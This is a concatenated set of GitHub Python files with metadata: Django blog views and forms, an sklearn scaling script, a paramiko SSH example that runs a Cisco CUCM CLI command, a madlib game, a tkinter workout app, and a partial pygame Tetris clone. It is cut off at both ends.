)\n            message = 'Jak coś \"{0}\" jest tu {1}\\n\\n{2}\\ skomentował tak: {3}'.format(\n                post.title, post_url, cd['name'], cd['comments']\n            )\n            send_mail(subject, message, 'od kogo', [cd['to']])\n            sent = True\n    else:\n        form = EmailPostForm()\n    return render(\n        request,\n        'blog/post/share.html',\n        {\n            'post': post,\n            'form': form,\n            'sent': sent,\n        }\n    )\n\n\ndef post_search(request):\n    form = SearchForm()\n    query = None\n    results = []\n    if 'query' in request.GET:\n        form = SearchForm(request.GET)\n        if form.is_valid():\n            query = form.cleaned_data['query']\n            # search_vector = SearchVector('title', 'body')\n            # search_query = SearchQuery(query)\n            # results =Post.objects.annotate(\n            #     search=search_vector,\n            #     rank=SearchRank(search_vector, search_query)\n            # ).filter(search=search_query).order_by('-rank')\n\n            results = Post.objects.annotate(\n                similarity=TrigramSimilarity('title', query),\n            ).filter(similarity__gt=0.3).order_by('-similarity')\n    return render(\n        request,\n        'blog/post/search.html',\n        {\n            'form': form,\n            'query': query,\n            'results': results\n        }\n    )", "repo_name": "KCzenczek/Django_blog_app", "sub_path": "mysite/blog/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 6049, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "models.Post.published.all", "line_number": 24, "usage_type": "call"}, {"api_name": "models.Post.published", "line_number": 24, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 24, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 28, "usage_type": "call"}, {"api_name": "taggit.models.Tag", "line_number": 28, "usage_type": "argument"}, {"api_name": "django.core.paginator.Paginator", "line_number": 31, "usage_type": "call"}, {"api_name": "django.core.paginator.PageNotAnInteger", "line_number": 36, "usage_type": "name"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 39, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 43, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 65, "usage_type": "call"}, {"api_name": "models.Post", "line_number": 66, "usage_type": "argument"}, {"api_name": "forms.CommentForm", "line_number": 78, "usage_type": "call"}, {"api_name": "forms.CommentForm", "line_number": 90, "usage_type": "call"}, {"api_name": "models.Post.published.filter", "line_number": 95, "usage_type": "call"}, {"api_name": "models.Post.published", "line_number": 95, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 95, "usage_type": "name"}, {"api_name": "django.db.models.Count", "line_number": 97, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 107, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 123, "usage_type": "call"}, {"api_name": "models.Post", "line_number": 124, "usage_type": "argument"}, {"api_name": "forms.EmailPostForm", "line_number": 131, "usage_type": "call"}, {"api_name": "django.core.mail.send_mail", "line_number": 143, "usage_type": "call"}, {"api_name": "forms.EmailPostForm", "line_number": 146, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 147, "usage_type": "call"}, {"api_name": "forms.SearchForm", "line_number": 159, "usage_type": "call"}, {"api_name": "forms.SearchForm", "line_number": 163, "usage_type": "call"}, {"api_name": "models.Post.objects.annotate", "line_number": 173, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 173, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 173, "usage_type": "name"}, {"api_name": "django.contrib.postgres.search.TrigramSimilarity", "line_number": 174, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 176, "usage_type": "call"}]}
{"seq_id": "41131178181", "text": "from sklearn import datasets\nfrom sklearn.externals import joblib\nimport pickle\n\niris = datasets.load_iris()\nX=iris.data\ny=iris.target\nfrom sklearn.model_selection import train_test_split\ntrain_X, test_X, train_Y, test_Y = train_test_split(X, y, test_size=0.3, random_state=0)\n\npickle.dump(train_X, open('train_X.pkl', 'wb'))\npickle.dump(test_X, open('test_X.pkl', 'wb'))\npickle.dump(train_Y, open('train_Y.pkl', 'wb'))\npickle.dump(test_Y, open('test_Y.pkl', 'wb'))\n#train , test로 잘라서 밑에 넣는다는것\n\nfrom sklearn.preprocessing import MinMaxScaler\nscaler = MinMaxScaler()\nscaler.fit(train_X)\ntrain_x_scaled = scaler.transform(train_X)\nprint(train_x_scaled[:5])\n\nfile_name = 'scaler_01.pkl'\njoblib.dump(scaler, file_name)", "repo_name": "penclub79/deep3", "sub_path": "17_Joblib_scaler.py", "file_name": "17_Joblib_scaler.py", "file_ext": "py", "file_size_in_byte": 736, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sklearn.datasets.load_iris", "line_number": 5, "usage_type": "call"}, {"api_name": "sklearn.datasets", "line_number": 5, "usage_type": "name"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 9, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 11, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 12, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 13, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 14, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 18, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.dump", "line_number": 24, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 24, "usage_type": "name"}]}
{"seq_id": "16248984757", "text": "\"\"\"\nModel for the SampleResource aggregate.\nIt defines the fields that will be used in the CRUD form.\n\n@date: Apr 2, 2013\n@author: CarolinaFernandez\n\"\"\"\n\nfrom django import forms\nfrom sample_resource.models import SampleResourceAggregate as SampleResourceAggregateModel\n\nclass SampleResourceAggregate(forms.ModelForm):\n    '''\n    A form to create and edit SampleResource Aggregates.\n    '''\n\n    sync_resources = forms.BooleanField(label = \"Sync resources?\", initial = True, required = False)\n\n    class Meta:\n        model = SampleResourceAggregateModel\n        exclude = ['client', 'owner', 'users', 'available']\n\n", "repo_name": "fp7-ofelia/ocf", "sub_path": "expedient/doc/plugins/samples/plugin/sample_resource/forms/SampleResourceAggregate.py", "file_name": "SampleResourceAggregate.py", "file_ext": "py", "file_size_in_byte": 617, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.forms.ModelForm", "line_number": 12, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 12, "usage_type": "name"}, {"api_name": "django.forms.BooleanField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 17, "usage_type": "name"}, {"api_name": "sample_resource.models.SampleResourceAggregate", "line_number": 20, "usage_type": "name"}]}
{"seq_id": "41045587565", "text": "import paramiko\nfrom paramiko_expect import SSHClientInteraction\nimport sys\n\nssh = paramiko.SSHClient()\nssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\ntry:\n    ssh.connect(hostname='hq-cucm-pub.abc.inc', username='administrator', password='ciscopsdt', timeout=30, look_for_keys=False)        \nexcept Exception as e:\n    pass\n\ncli_responses = [{\n    'expect': 'Continue \\(y/n\\)\\?',\n    'response': 'y',\n    'timeout': 5,\n    'newline': False\n}]\ncli_command = 'set cli session timeout 30'\n\ntry:\n    interact = SSHClientInteraction(ssh, display=False) \n    interact.expect('admin:')\n    interact.send(cli_command)\n    output = interact.current_output\n    if cli_responses is not None:\n        for index,item in enumerate(cli_responses):\n            try:\n                expect = item['expect']\n                response = item['response']\n                timeout = item.get('timeout')\n                newline = '\\n' if item.get('newline', True) else ''\n            except KeyError as e:\n                print(f'Error: key {e} missing in cli_responses[{index}]')\n                sys.exit(1)\n            interact.expect(expect, timeout=timeout)\n            interact.send(response, newline=newline)\n            output += interact.current_output\n    interact.expect('admin:')\n    output += interact.current_output\n    tokens = output.splitlines()\n    tokens = tokens[tokens.index(f'admin:{cli_command}')+1:-1]\n    tokens[:]=[line.split() for line in tokens]    \n    ssh.close()\nexcept Exception as e:\n    print(f'Error executing CLI command: {e}')\n    sys.exit(1)\n\nprint(output)\nprint(tokens)\n", "repo_name": "CiscoDevNet/axl-ansible-examples", "sub_path": "paramiko_test.py", "file_name": "paramiko_test.py", "file_ext": "py", "file_size_in_byte": 1596, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "78", "api": [{"api_name": "paramiko.SSHClient", "line_number": 5, "usage_type": "call"}, {"api_name": "paramiko.AutoAddPolicy", "line_number": 6, "usage_type": "call"}, {"api_name": "paramiko_expect.SSHClientInteraction", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 34, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 46, "usage_type": "call"}]}
{"seq_id": "17558444472", "text": "import errno\nimport os\nimport re\nfrom pyfiglet import Figlet\n\n\ndef strip_text(txt):\n    return re.sub(\"{[^}]*}\", \"{}\", txt)\n\n\ndef get_parts(txt):\n    parts = re.findall(\"{[^}]*}\", txt)\n\n    for i, part in enumerate(parts):\n        parts[i] = re.sub(\"[{}]\", \"\", part)\n\n    return tuple(parts)\n\n\ndef read_template(path):\n    if not os.path.exists(path):\n        raise FileNotFoundError(errno.ENOENT, os.strerror(errno.ENOENT), path)\n    with open(path, \"r\") as f:\n        lines = f.read()\n    return lines\n\ndef write_template(path,txt):\n    if not os.path.exists(path):\n        raise FileNotFoundError(errno.ENOENT, os.strerror(errno.ENOENT), path)\n    with open(path, \"w\") as f:\n        lines = f.write(txt)\n    return lines\n\n\ndef parse_template(txt):\n    print(txt, \"debug\")\n    return (strip_text(txt), get_parts(txt))\n\n\ndef merge(txt, parts):\n    for part in parts:\n        txt = txt.replace(\"{}\", f\"{part}\", 1)\n\n    return txt\n\n\ntext = \"\"\nchoice = \"\"\n\nif __name__ == \"__main__\":\n    quit_flag = False\n    write_template(\"assets/result.txt\",\"empty file\")\n\n    def print_commands():\n        commands = r\"\"\"\nCommands\n---------------------------------------------------------------------------------------------------------------------\n\n1. read file: read text file\n\n---------------------------------------------------------------------------------------------------------------------\n\n2. play: populate your text with the apropriate input \n\n---------------------------------------------------------------------------------------------------------------------\n\n3. display: display the result of your input merged with the text file input\n\n---------------------------------------------------------------------------------------------------------------------\n\n4. help: display all commands in madlib-cli\n\n---------------------------------------------------------------------------------------------------------------------\n\n5. quit: exit from madlib-cli\n\n---------------------------------------------------------------------------------------------------------------------\n\"\"\"\n        print(commands)\n\n    def print_menu():\n        custom_fig = Figlet(font=\"big\")\n        print(\n            custom_fig.renderText(\" Mad lib \"),\n            \"\"\"\n**********************************************\n**                                          **\n**  Welcome to the Madlib Game              **\n**  See the list of commands bellow         **\n**                                          **\n**  To display commands again, type \"help\"  **\n**  To quit at any time, type \"quit\"        **\n**                                          **\n**********************************************\n\"\"\",\n        )\n        print_commands()\n\n    def read():\n        global text\n        text = read_template(\"assets/defult.txt\")\n        print(\"\\nResult:\\n\", text, \"\\n\")\n\n    def play():\n        global text\n\n        extacted_txt, input_list = parse_template(text)\n        parts=[]\n        if(input_list):\n            print(\"inseart the following\\n\")\n            for i, prompt in enumerate(input_list):\n                print(f\"give me a {prompt}\\n\")\n                usr_input = input(f\">({prompt}) \")\n                parts.append(str(usr_input))\n\n            write_template(\"assets/result.txt\",merge(extacted_txt,parts))\n            print (\"Done!\")\n        else:\n            print(\"text is empty or invalid format\")\n\n\n    def display():\n        print(read_template(\"assets/result.txt\"))\n\n    commands = {\n        \"read\": read,\n        \"play\": play,\n        \"display\": display,\n        \"help\": print_commands,\n    }\n    print_menu()\n\n    while not quit_flag:\n        choice = input(\"> \")\n\n        if choice == \"quit\":\n            print(\"\\nExiting\\n\")\n            quit_flag = True\n\n        elif choice in commands.keys():\n            commands[choice]()\n", "repo_name": "AymanMalkawi122/madlib-cli", "sub_path": "madlib_cli/madlib.py", "file_name": "madlib.py", "file_ext": "py", "file_size_in_byte": 3811, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "re.sub", "line_number": 8, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 12, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "errno.ENOENT", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.strerror", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "errno.ENOENT", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.strerror", "line_number": 29, "usage_type": "call"}, {"api_name": "pyfiglet.Figlet", "line_number": 82, "usage_type": "call"}]}
{"seq_id": "42717263960", "text": "import tkinter as tk\nfrom functools import partial\nfrom tkinter import LEFT\n\nimport speech_recognition as sr\nfrom playsound import playsound\n\nimport Basics\nfrom ThreadRilevamento import ThreadEsecuzione\n\n\n# legge gli esercizi supportati da un file e li restituisce\ndef leggiEserciziDaFile():\n    esercizi = []\n\n    with open(\"../res/esercizi/esercizi.txt\", \"r\") as file:\n        lines = file.readlines()\n\n    for line in lines:\n        esercizi.append(line.strip())\n\n    return esercizi\n\n\ndef SpeechRecognition():\n    text = \"\"\n    recognizer_instance = sr.Recognizer()  # Crea una istanza del recognizer\n    esercizi = leggiEserciziDaFile()\n\n    with sr.Microphone() as source:\n        recognizer_instance.adjust_for_ambient_noise(source)\n        audio = recognizer_instance.listen(source)\n    try:\n        esercizioRiconosciuto = recognizer_instance.recognize_google(audio, language=\"it-IT\")\n        if esercizioRiconosciuto in esercizi:\n            runEsercizio(esercizioRiconosciuto)\n        else:\n            playsound(\"../res/sounds/errors/err_scelta.mp3\")\n    except Exception as e:\n        print(e)\n    return text\n\n\n# per ogni esercizio supportato, crea un bottone\ndef inserisciBottoniEsercizi(esercizi, frameBottoni, window, utente):\n    for esercizio in esercizi:\n        bottoneEsercizio = tk.Button(frameBottoni, text=esercizio, command=partial(runEsercizio, esercizio, window))\n        bottoneEsercizio.pack(side=LEFT)\n\n    # bottone per eseguire la scheda di allenamento\n    bottoneScheda = tk.Button(frameBottoni, text=\"Scheda\", command=partial(runScheda, window, utente))\n    bottoneScheda.pack(side=LEFT)\n\n\n# quando si preme il bottone di un esercizio, questo parte\ndef runEsercizio(esercizio, window):\n    window.withdraw()\n\n    # mostra video di esempio\n    Basics.Esempio(esercizio)\n\n    # thread che rileva le ripetizioni\n    thread = ThreadEsecuzione(None, None, esercizio.lower())\n    thread.start()\n\n    window.update()\n    window.deiconify()\n\n\n# si eseguono gli esercizi della scheda\ndef runScheda(window, utente):\n    window.withdraw()\n\n    file = open(\"../res/schede esercizi/scheda \" + utente + \".txt\", \"r\")\n    for line in file:\n        esercizio = line.split(\" \")\n        numSerie = esercizio[1].split(\"x\")\n        numRipetizioni = numSerie[1]\n\n        # thread che rileva le ripetizioni\n        thread = ThreadEsecuzione(int(numSerie[0]), int(numRipetizioni), esercizio[0].lower())\n        thread.start()\n\n    file.close()\n\n    # if not (keyboard.is_pressed('q')):\n    #    playsound(\"../res/sounds/mess/scheda completata.mp3\")\n\n    window.update()\n    window.deiconify()\n\n\nclass SceltaEsercizi:\n\n    def __init__(self, utente):\n        self.utente = utente\n\n    def sceltaEsercizi(self):\n        utente = self.utente\n\n        # crea la finestra\n        window = tk.Tk()\n        window.geometry(\"270x100\")\n        window.title(\"Training Estimation\")\n        window.resizable(False, False)\n        window.iconphoto(False, tk.PhotoImage(file=\"../res/icone/icon.png\"))\n\n        # crea i frame\n        frameBenvenuto = tk.Frame(window)\n        frameBenvenuto.grid(row=0)\n\n        frameBottoni = tk.Frame(window)\n        frameBottoni.grid(row=1)\n\n        # aggiunge il label di benvenuto\n        LabelBenvenuto = tk.Label(frameBenvenuto, text=\"Benvenuto in Training Estimation\\n Quale esercizio vuoi svolgere?\")\n        LabelBenvenuto.pack(side=LEFT)\n\n        # aggiunge il bottone del microfono\n        imgMic = tk.PhotoImage(file=\"../res/icone/microfono.png\")\n        BottoneMicrofono = tk.Button(frameBenvenuto, image=imgMic, command=SpeechRecognition)\n        BottoneMicrofono.pack(side=LEFT)\n\n        inserisciBottoniEsercizi(leggiEserciziDaFile(), frameBottoni, window, utente)\n\n        playsound(\"../res/sounds/mess/benvenuto.mp3\")\n        playsound(\"../res/sounds/mess/scelta.mp3\")\n\n        window.mainloop()\n", "repo_name": "Savino-M/Training-Estimation-Angoli", "sub_path": "src/SceltaEsercizi.py", "file_name": "SceltaEsercizi.py", "file_ext": "py", "file_size_in_byte": 3844, "program_lang": "python", "lang": "it", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "speech_recognition.Recognizer", "line_number": 27, "usage_type": "call"}, {"api_name": "speech_recognition.Microphone", "line_number": 30, "usage_type": "call"}, {"api_name": "playsound.playsound", "line_number": 38, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 47, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 47, "usage_type": "call"}, {"api_name": "tkinter.LEFT", "line_number": 48, "usage_type": "name"}, {"api_name": "tkinter.Button", "line_number": 51, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 51, "usage_type": "call"}, {"api_name": "tkinter.LEFT", "line_number": 52, "usage_type": "name"}, {"api_name": "Basics.Esempio", "line_number": 60, "usage_type": "call"}, {"api_name": "ThreadRilevamento.ThreadEsecuzione", "line_number": 63, "usage_type": "call"}, {"api_name": "ThreadRilevamento.ThreadEsecuzione", "line_number": 81, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 102, "usage_type": "call"}, {"api_name": "tkinter.PhotoImage", "line_number": 106, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 109, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 112, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 116, "usage_type": "call"}, {"api_name": "tkinter.LEFT", "line_number": 117, "usage_type": "name"}, {"api_name": "tkinter.PhotoImage", "line_number": 120, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 121, "usage_type": "call"}, {"api_name": "tkinter.LEFT", "line_number": 122, "usage_type": "name"}, {"api_name": "playsound.playsound", "line_number": 126, "usage_type": "call"}, {"api_name": "playsound.playsound", "line_number": 127, "usage_type": "call"}]}
{"seq_id": "24335872571", "text": "import copy,random,pygame,sys\nfrom time import sleep\n\n\n#GLOBAL VAR\ntable = [[1 for i in range(13)] if j == 0 or j == 21 else [1 if i == 0 or i == 12 else 0 for i in range(13)] for j in range(22)]\nscore = 0\n\nclass Rect:\n\n    global table\n\n    def __init__(self,x,y,side,color):\n        self.x = x\n        self.y = y\n        self.side = side\n        self.color = color\n    \n    def draw(self):\n        object = self\n\n        difference = object.side // 12.5\n\n        pygame.draw.rect(screen, color[\"light_\"+object.color], (object.x,object.y,object.side,object.side))\n        pygame.draw.polygon(screen, color[\"dark_\"+object.color], ((object.x+object.side,object.y),(object.x,object.y+object.side),(object.x+object.side,object.y+object.side)))\n        pygame.draw.rect(screen, color[object.color], (object.x+difference,object.y+difference,object.side-(difference*2),object.side-(difference*2)))\n\n\n\ncolor_dict = {\n    \n    1: \"gray\",\n\n    2: \"blue\",\n    21: \"tblue\",\n\n    3: \"red\",\n    31: \"tred\",\n\n    4: \"magenta\",\n    41: \"tmagenta\",\n\n    5: \"cyan\",\n    51: \"tcyan\",\n\n    6: \"yellow\",\n    61: \"tyellow\",\n\n    7: \"green\",\n    71: \"tgreen\",\n\n    8: \"orange\",\n    81: \"torange\",\n\n    \n    }\n\ncolor = {\n    \"black\": (0,0,0),\n    \"white\": (255,255,255),\n\n    \"gray\": (128,128,128),\n    \"light_gray\": (160,160,160),\n    \"dark_gray\": (96,96,96),\n    \n    \"blue\": (0,0,204),\n    \"light_blue\": (0,0,255),\n    \"dark_blue\": (0,0,153),\n\n    \"tblue\": (0,0,0),\n    \"light_tblue\": (0,0,255),\n    \"dark_tblue\": (0,0,153),\n\n    \"red\": (204,0,0),\n    \"light_red\": (255,0,0),\n    \"dark_red\": (153,0,0),\n\n    \"tred\": (0,0,0),\n    \"light_tred\": (255,0,0,255),\n    \"dark_tred\": (153,0,0,255),\n\n    \"magenta\": (204,0,204),\n    \"light_magenta\": (255,0,255),\n    \"dark_magenta\": (153,0,153),\n\n    \"tmagenta\": (0,0,0),\n    \"light_tmagenta\": (255,0,255),\n    \"dark_tmagenta\": (153,0,153),\n\n    \"cyan\": (0,204,204),\n    \"light_cyan\": (0,255,255),\n    \"dark_cyan\": (0,153,153),\n\n    \"tcyan\": (0,0,0),\n    \"light_tcyan\": (0,255,255),\n    \"dark_tcyan\": (0,153,153),\n\n    \"yellow\": (204,204,0),\n    \"light_yellow\": (255,255,0),\n    \"dark_yellow\": (153,153,0),\n\n    \"tyellow\": (0,0,0),\n    \"light_tyellow\": (255,255,0),\n    \"dark_tyellow\": (153,153,0),\n\n    \"green\": (0,204,0),\n    \"light_green\":(0,255,0),\n    \"dark_green\":(0,153,0),\n\n    \"tgreen\": (0,0,0),\n    \"light_tgreen\":(0,255,0),\n    \"dark_tgreen\":(0,153,0),\n\n    \"orange\": (255,128,0),\n    \"light_orange\": (255,153,51),\n    \"dark_orange\": (204,102,0),\n\n    \"torange\": (0,0,0),\n    \"light_torange\": (255,153,51),\n    \"dark_torange\": (204,102,0),\n}\n\n#SHAPE CLASSES\n\nclass Shape:\n\n    def __init__(self,x,y,n):\n        self.x = x\n        self.y = y\n        self.n = n\n        self.t = n*10 + 1\n\n    def move(self):\n\n        canNotMove = False\n        for i in [self.node1,self.node2,self.node3,self.node4]:\n            if table[i[0]+1][i[1]] in range(1,10) and [i[0]+1,i[1]] not in [self.node1,self.node2,self.node3,self.node4]:\n                canNotMove = True\n                break\n        if not canNotMove:\n            for i in [self.node1,self.node2,self.node3,self.node4]:\n                table[i[0]][i[1]] = 0\n                i[0] += 1\n\n            for i in [self.node1,self.node2,self.node3,self.node4]:\n                table[i[0]][i[1]] = self.n\n\n        return canNotMove\n\n    def moveRight(self):\n\n        canNotMove = False\n        for i in [self.node1,self.node2,self.node3,self.node4]:\n            if table[i[0]][i[1]+1] in range(1,10) and [i[0],i[1]+1] not in [self.node1,self.node2,self.node3,self.node4]:\n                canNotMove = True\n                break\n        if not canNotMove:\n            for i in [self.node1,self.node2,self.node3,self.node4]:\n                table[i[0]][i[1]] = 0\n                i[1] += 1\n\n            for i in [self.node1,self.node2,self.node3,self.node4]:\n                table[i[0]][i[1]] = self.n\n\n    def moveLeft(self):\n\n        canNotMove = False\n        for i in [self.node1,self.node2,self.node3,self.node4]:\n            if table[i[0]][i[1]-1] in range(1,10) and [i[0],i[1]-1] not in [self.node1,self.node2,self.node3,self.node4]:\n                canNotMove = True\n                break\n        if not canNotMove:\n            for i in [self.node1,self.node2,self.node3,self.node4]:\n                table[i[0]][i[1]] = 0\n                i[1] -= 1\n\n            for i in [self.node1,self.node2,self.node3,self.node4]:\n                table[i[0]][i[1]] = self.n\n\n    def appear(self):\n\n        canNotAppear = False\n        for i in [self.node1,self.node2,self.node3,self.node4]:\n            if table[i[0]][i[1]] in range(1,10):\n                canNotAppear = True\n                continue\n            table[i[0]][i[1]] = self.n\n\n        return canNotAppear\n\n    def turn(self):\n\n        nod1 = [self.node3[0] - (self.node1[1]-self.node3[1]) , self.node3[1] + (self.node1[0]-self.node3[0])]\n        nod2 = [self.node3[0] - (self.node2[1]-self.node3[1]) , self.node3[1] + (self.node2[0]-self.node3[0])]\n        nod4 = [self.node3[0] - (self.node4[1]-self.node3[1]) , self.node3[1] + (self.node4[0]-self.node3[0])]\n\n        for i in [nod1,nod2,nod4]:\n            try:\n                if table[i[0]][i[1]] in [i if i != self.n else 1 for i in range(1,10)]:\n                    return False\n            except IndexError:\n                return False\n\n        for i in [self.node1,self.node2,self.node3,self.node4]:\n            table[i[0]][i[1]] = 0\n\n        self.node1,self.node2,self.node4 = nod1,nod2,nod4\n\n        for i in [self.node1,self.node2,self.node3,self.node4]:\n            table[i[0]][i[1]] = self.n\n\n    def slam(self,shadow):\n        for i in [self.node1,self.node2,self.node3,self.node4]:\n            table[i[0]][i[1]] = 0\n        self.node1,self.node2,self.node3,self.node4 = shadow.node1,shadow.node2,shadow.node3,shadow.node4\n        self.appear()\n\n\n\n\n#Inverse T\nclass Shape1(Shape):\n\n    global table\n\n    def __init__(self,x,y,n):\n        super().__init__(x,y,n)\n        self.node1,self.node2,self.node3,self.node4 = [self.y,self.x],[self.y+1,self.x+1],[self.y+1,self.x],[self.y+1,self.x-1]\n\n\n#Long\nclass Shape2(Shape):\n\n    global table\n\n    def __init__(self,x,y,n):\n        super().__init__(x,y,n)\n        self.node1,self.node2,self.node3,self.node4 = [self.y,self.x+2],[self.y,self.x+1],[self.y,self.x],[self.y,self.x-1]\n\n\n#Square\nclass Shape3(Shape):\n\n    global table\n\n    def __init__(self,x,y,n):\n        super().__init__(x,y,n)\n        self.node1,self.node2,self.node3,self.node4 = [self.y,self.x],[self.y+1,self.x+1],[self.y+1,self.x],[self.y,self.x+1]\n\n\n#Inverse L starting right\nclass Shape4(Shape):\n\n    global table\n\n    def __init__(self,x,y,n):\n        super().__init__(x,y,n)\n        self.node1,self.node2,self.node3,self.node4 = [self.y,self.x],[self.y,self.x-1],[self.y+1,self.x],[self.y+2,self.x]\n\n#inverse L starting left\nclass Shape5(Shape):\n\n    global table\n\n    def __init__(self,x,y,n):\n        super().__init__(x,y,n)\n        self.node1,self.node2,self.node3,self.node4 = [self.y,self.x],[self.y,self.x+1],[self.y+1,self.x],[self.y+2,self.x]\n\n#Tetris shape 1\nclass Shape6(Shape):\n\n    global table\n\n    def __init__(self,x,y,n):\n        super().__init__(x,y,n)\n        self.node1,self.node2,self.node3,self.node4 = [self.y,self.x],[self.y+1,self.x],[self.y+1,self.x+1],[self.y+2,self.x+1]\n\n#Tetris shape 2\nclass Shape7(Shape):\n\n    global table\n\n    def __init__(self,x,y,n):\n        super().__init__(x,y,n)\n        self.node1,self.node2,self.node3,self.node4 = [self.y,self.x],[self.y+1,self.x],[self.y+1,self.x-1],[self.y+2,self.x-1]\n\nclass DebugShape(Shape):\n\n    global table\n\n    def __init__(self,x,y,n):\n        super().__init__(x,y,n)\n        self.node1,self.node2,self.node3,self.node4 = [self.y,self.x],[self.y+1,self.x],[self.y+2,self.x],[self.y+3,self.x]\n\n    def shadow(self):\n        shadow = Shadow(self.x,self.y,self.n*10+1)\n        canNotMove = False\n        while not canNotMove:\n            canNotMove = shadow.move(self)\n\nclass Shadow():\n\n    global table\n\n    def __init__(self,shape):\n        self.shape = copy.deepcopy(shape)\n        self.n = self.shape.n*10+1\n        self.node1,self.node2,self.node3,self.node4 = self.shape.node1,self.shape.node2,self.shape.node3,self.shape.node4\n\n    def move(self):\n\n        canNotMove = False\n        for i in [self.node1,self.node2,self.node3,self.node4]:\n            if table[i[0]+1][i[1]] in range(1,10) and [i[0]+1,i[1]] not in [self.shape.node1,self.shape.node2,self.shape.node3,self.shape.node4]:\n                canNotMove = True\n                break\n        if not canNotMove:\n            for i in [self.node1,self.node2,self.node3,self.node4]:\n                i[0] += 1\n\n        return canNotMove   \n    \n    def disappear(self):\n        for i in [self.node1,self.node2,self.node3,self.node4]:\n            if table[i[0]][i[1]] != self.shape.n:\n                table[i[0]][i[1]] = 0\n\n    def appear(self):\n        for i in [self.node1,self.node2,self.node3,self.node4]:\n            if table[i[0]][i[1]] != self.shape.n:\n                table[i[0]][i[1]] = self.n\n\n    def showShadow(self):\n\n        canNotMove = False\n        while not canNotMove:\n            canNotMove = self.move()\n        self.appear()\n\n\n\n\n\nshape_dict = {\n    \n    1: Shape1(6,1,2),\n    2: Shape2(6,1,3),\n    3: Shape3(6,1,4),\n    4: Shape4(6,1,5),\n    5: Shape5(6,1,6),\n    6: Shape6(6,1,7),\n    7: Shape7(6,1,8),\n    \"d\": DebugShape(6,1,5),\n    \n    }\n\n#PYGAME\n\npygame.init()\n\nscreen_heigth = screen_width = 600\nscreen = pygame.display.set_mode((screen_width,screen_heigth))\nfont = pygame.font.SysFont(\"Consolas\",30)\npygame.display.set_caption(\"PyTetris v1.2\")\nscreen.fill(color[\"black\"])\n\n#DRAWING STUFF WITH PYGAME\n\ndef draw(t):\n    global screen_heigth\n\n    table = t\n\n    dif = screen_heigth // 24\n\n    for i in range(len(table)):\n        for j in range(len(table[-1])):\n            if table[i][j] == 0:\n                continue\n            temp = Rect((j+1)*dif,(i+1)*dif,dif,color_dict[table[i][j]])\n            temp.draw()\n    pygame.display.update()\n\n#TILE SPAWN\n\nlast = []\ndef spawn():\n\n    global last\n    \n    while len(last) < 2:\n        number = random.randrange(1,8,1)\n        if number in last:\n            while number in last:\n                number = random.randrange(1,8,1)\n        last.append(number)\n\n\n    #ENABLE TO DEBUG\n\n    #last = [\"d\",\"d\"]\n\n    return copy.deepcopy(shape_dict[last.pop(0)])\n\n\n#CHECK BLOCK\ndef checkWin():\n    global table,score\n\n    toDel = []\n\n    for i in range(22):\n        if i == 0 or i == 21:\n            continue\n        if 0 not in table[i]:\n            toDel.append(i)\n\n    for i in toDel:\n        table[i] = [1 if i == 0 or i == 12 else 0 for i in range(13)]\n\n\n    if toDel != []:\n        score += 100000 *(1 + 0.25 * len(toDel))\n        moveDown()\n        checkWin()\n\n    return toDel != []\n\n#SHOW NEXT BLOCK\ndef showNextBlock(shape):\n    global screen_heigth\n\n    nextShape = copy.deepcopy(shape)\n\n    next = [[0 for i in range(6)] for j in range(6)]\n    main = nextShape.node3\n\n    y = 2-main[0]\n    x = 2-main[1]\n    for i in 